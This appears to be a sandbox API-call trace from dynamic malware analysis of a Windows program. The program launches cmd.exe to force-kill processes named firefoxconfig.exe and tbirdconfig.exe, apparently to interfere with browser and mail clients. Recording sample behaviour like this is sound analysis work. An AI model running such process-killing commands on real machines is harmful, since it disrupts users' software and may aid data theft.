	[0040.507] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12496b98 | out: lpFileInformation=0x12496b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0040.507] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc
	[0040.507] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0040.507] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0040.507] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0040.507] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0040.507] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0040.508] GetEnvironmentStringsW () returned 0x7eb348*
	[0040.508] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0040.508] GetCurrentProcess () returned 0xffffffff
	[0040.508] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xbc, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249a8d0, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249a8d0*=0xc0) returned 1
	[0040.508] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249a8d4, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249a8d4*=0xc4) returned 1
	[0040.508] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249a8d8, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249a8d8*=0xc8) returned 1
	[0040.508] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im firefoxconfig.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x124b0000, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc0, hStdOutput=0xc4, hStdError=0xc8), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im firefoxconfig.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xb8, hThread=0xac, dwProcessId=0xa44, dwThreadId=0xa60)) returned 1
	[0040.516] CloseHandle (hObject=0xac) returned 1
	[0040.516] CloseHandle (hObject=0xc8) returned 1
	[0040.516] CloseHandle (hObject=0xc4) returned 1
	[0040.516] CloseHandle (hObject=0xc0) returned 1
	[0040.516] CloseHandle (hObject=0xbc) returned 1
	[0040.516] CloseHandle (hObject=0xb0) returned 1
	[0040.516] CloseHandle (hObject=0xb4) returned 1
	[0040.516] WaitForSingleObject (hHandle=0xb8, dwMilliseconds=0xffffffff) returned 0x0
	[0040.903] SetEvent (hEvent=0xa8) returned 1
	[0040.903] GetExitCodeProcess (in: hProcess=0xb8, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0040.903] GetProcessTimes (in: hProcess=0xb8, lpCreationTime=0x1247bb60, lpExitTime=0x1247bb68, lpKernelTime=0x1247bb70, lpUserTime=0x1247bb78 | out: lpCreationTime=0x1247bb60, lpExitTime=0x1247bb68, lpKernelTime=0x1247bb70, lpUserTime=0x1247bb78) returned 1
	[0040.903] CloseHandle (hObject=0xb8) returned 1
	[0040.904] SetEvent (hEvent=0x80) returned 1
	[0040.904] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0040.905] SetEvent (hEvent=0x80) returned 1
	[0040.905] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12441450, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0040.905] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249e328 | out: lpFileInformation=0x1249e328*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.905] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.905] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x1249e378 | out: lpFileInformation=0x1249e378*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.905] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.905] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249e3c8 | out: lpFileInformation=0x1249e3c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.905] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.905] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x1249e418 | out: lpFileInformation=0x1249e418*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.905] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.905] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x1249e468 | out: lpFileInformation=0x1249e468*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.905] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.906] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x1249e4b8 | out: lpFileInformation=0x1249e4b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.906] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.906] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x1249e508 | out: lpFileInformation=0x1249e508*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.906] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.906] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x1249e558 | out: lpFileInformation=0x1249e558*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.906] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.906] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x1249e5a8 | out: lpFileInformation=0x1249e5a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.906] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.906] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x1249e5f8 | out: lpFileInformation=0x1249e5f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.906] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.906] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x1249e648 | out: lpFileInformation=0x1249e648*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.906] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.906] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x1249e698 | out: lpFileInformation=0x1249e698*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.906] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.907] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x12441520, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0040.907] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249e6e8 | out: lpFileInformation=0x1249e6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0040.907] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124415f0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0040.907] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249e738 | out: lpFileInformation=0x1249e738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0040.907] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8
	[0040.907] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0040.907] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0040.907] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0040.907] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0040.907] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0040.908] GetEnvironmentStringsW () returned 0x7eb348*
	[0040.908] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0040.908] GetCurrentProcess () returned 0xffffffff
	[0040.908] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a4650, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a4650*=0xbc) returned 1
	[0040.908] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a4654, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a4654*=0xc0) returned 1
	[0040.908] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a4658, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a4658*=0xc4) returned 1
	[0040.908] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im tbirdconfig.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x124bc000, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xbc, hStdOutput=0xc0, hStdError=0xc4), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im tbirdconfig.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xac, hThread=0xc8, dwProcessId=0xa70, dwThreadId=0xa3c)) returned 1
	[0040.916] CloseHandle (hObject=0xc8) returned 1
	[0040.916] CloseHandle (hObject=0xc4) returned 1
	[0040.917] CloseHandle (hObject=0xc0) returned 1
	[0040.917] CloseHandle (hObject=0xbc) returned 1
	[0040.917] CloseHandle (hObject=0xb8) returned 1
	[0040.917] CloseHandle (hObject=0xb4) returned 1
	[0040.917] CloseHandle (hObject=0xb0) returned 1
	[0040.917] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0xffffffff) returned 0x0
	[0041.305] SetEvent (hEvent=0xa8) returned 1
	[0041.305] GetExitCodeProcess (in: hProcess=0xac, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0041.305] GetProcessTimes (in: hProcess=0xac, lpCreationTime=0x12483920, lpExitTime=0x12483928, lpKernelTime=0x12483930, lpUserTime=0x12483938 | out: lpCreationTime=0x12483920, lpExitTime=0x12483928, lpKernelTime=0x12483930, lpUserTime=0x12483938) returned 1
	[0041.305] CloseHandle (hObject=0xac) returned 1
	[0041.306] SetEvent (hEvent=0x80) returned 1
	[0041.306] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0041.319] SetEvent (hEvent=0x80) returned 1
	[0041.319] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12409860, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0041.319] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12496be8 | out: lpFileInformation=0x12496be8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.320] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.320] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x12496c38 | out: lpFileInformation=0x12496c38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.320] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.320] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x12496c88 | out: lpFileInformation=0x12496c88*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.320] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.320] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x12496cd8 | out: lpFileInformation=0x12496cd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.320] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.320] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x12496d28 | out: lpFileInformation=0x12496d28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.320] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.320] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x12496d78 | out: lpFileInformation=0x12496d78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0041.320] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0041.321] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x12496dc8 | out: lpFileInformation=0x12496dc8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
